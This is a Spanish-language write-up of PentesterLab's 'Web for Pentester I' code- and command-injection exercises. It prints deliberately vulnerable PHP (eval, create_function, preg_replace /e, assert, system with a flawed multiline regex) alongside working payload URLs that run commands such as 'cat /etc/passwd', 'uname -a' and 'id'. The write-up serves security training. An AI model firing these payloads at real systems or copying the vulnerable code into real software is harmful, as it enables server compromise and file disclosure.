Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Commands Injection
Damos un pasito más, ya casi terminando el lab “Web for pentester I” de Pentesterlab,
esta vez realizando los ejercicios correspondientes a las vulnerabilidades de inyección
de código e inyección de comandos.
Ejercicio 1:
En el primer ejemplo vemos que el desarrollador ha usado la función eval para ejecutar
lo que pasas como parámetro como una línea de código php y... bueno muchos dicen
que "eval is evil" y al no filtrar la entrada antes podemos simplemente concatenar otro
comando con un simple punto (".") y usar # para comentar el resto del código:
SERVIDOR
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);
?>
PAYLOAD
http://pentesterlab/codeexec/example1.php?name=hacker
%22.system(%27hostname%27)%3B%23
Decoded: hacker".system('hostname');#
Ejercicio 2:
El siguiente código php muestra los usuarios de la tabla users ordenado por el campo
que especifiquemos:
SERVIDOR:
...
require_once('../sqli/db.php');
$sql = "SELECT * FROM users ";
$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b-
>'.$order.');'));
}
}
....
PAYLOAD:
http://pentesterlab/codeexec/example2.php?order=id)%3B}system(%27cat
%20/etc/passwd%27)%3B%23
http://pentesterlab/codeexec/example3.php?pattern=/[0-
9]/&new=cambiado&base=1
SERVIDOR
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
El tema (como casi siempre) es que si no filtramos el parámetro del patrón podremos
igualmente inyectar código:
PAYLOAD
http://pentesterlab/codeexec/example3.php?&pattern=/[0-
9]/e&new=system(%27uname%20-a%27)&base=1
Ejercicio 4:
Y el último ejercicio de esta serie se basa en la función assert que evalúa el parámetro
recibido (assertion) y toma la acción apropiada si su resultado es FALSE.
SERVIDOR
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
PAYLOAD
http://pentesterlab/codeexec/example4.php?name=hacker'.system('uname
-a').'
COMMAND INJECTION
Ejercicio 1:
En el primer ejercicio no hay ninguna validación así que podemos inyectar cualquier
comando en el parámetro ip:
SERVIDOR
PAYLOAD
http://pentesterlab/commandexec/example1.php?ip=127.0.0.1 && id
http://pentesterlab/commandexec/example1.php?ip=127.0.0.1; id
http://pentesterlab/commandexec/example1.php?ip=127.0.0.1| id
Ejercicio 2:
En el segundo ejercicio, esta vez y como podeis ver en el código, si hay validación,
aunque es incorrecta.
SERVIDOR
<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip'])))
{
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>
El problema es que la expresión regular es multilínea así que sólo tenemos que usar un
salto de línea encodeado y ya volvemos a poder ejecutar comandos:
PAYLOAD
http://pentesterlab/commandexec/example2.php?ip=127.0.0.1%0Acat
%20/etc/passwd
Ejercicio 3:
Así que podemos volver a concatenar nuestro comando y usar un proxy como
Burpsuite o nc/telnet para ver la salida del mismo:
PAYLOAD
% telnet pentesterlab 80
GET /commandexec/example3.php?ip=127.0.0.1|uname+-a HTTP/1.0
Y con esto terminamos la serie de vulnerabilidades de inyección de código y de
comandos. ¡Nos vemos en el siguiente y último post del writeup!